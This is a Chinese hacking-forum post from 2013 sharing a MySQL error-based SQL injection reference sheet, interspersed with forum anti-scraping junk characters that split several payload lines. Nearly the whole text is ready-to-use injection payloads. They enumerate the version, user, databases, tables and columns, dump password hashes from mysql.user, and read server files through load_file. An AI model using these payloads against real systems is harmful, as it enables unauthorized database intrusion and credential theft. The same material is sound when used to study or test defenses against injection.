Mysql暴错注入参考（pdf）

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本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
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Mysql暴错注入参考（pdf），每天一贴。。。
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MySql Error Based Injection Reference
4 B6 R0 |# j! g7 j0 H" a[Mysql暴错注入参考]
Authornig0s1992
Blog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
* w. }; Q* u# @) v查询版本:
) g. X  c2 B1 \2 a. i4 _  x; q" BMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
5 L5 r- A8 G$ \! r$ n查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
2 L( R; r& c& }/ ?( q/ AMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
. L7 Q1 `% e- L" vand(0)*2))x+from+information_schema.tables+group+by+x)a)
查询当前数据库:
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
/ _0 H7 @# p: c" m3 i0 N6 l# aor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
5 B  @& c: l. i8 T: `LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
& @3 w/ D3 [- _' z2 f1 d5 C爆指定库数目:
# m1 j/ b( V- E5 O( F' H$ @4 qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
% X7 `( m7 T3 q7 @: h$ I- f+by+x)a)+and+1=1 0x6D7973716C=mysql
9 K% Q! R: u2 P5 O9 ]依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
- ]1 p" ~' e" _& sbles+group+by+x)a)+and+1=1
1 q, J9 h. j9 [" S0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
, s7 P  T9 m8 E3 Y& eand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
6 m! ^& g0 G8 Y8 z. N, x6 Q: i+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
" L2 E9 `3 R6 c) M4 hloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
3 N- q1 t; r- I  v( P依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
* p" Y# ^7 n. _ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
将n顺序替换
爆文件内容:
( L. k/ x3 J6 D: C! Land+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
) A0 M$ o. p4 S* |3 O3 R, |from+information_schema.tables+group+by+a)b)
9 \+ I5 W- I2 V0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
Thx for reading.

* J" B7 L6 y7 |1 o7 B不要下载也可以，
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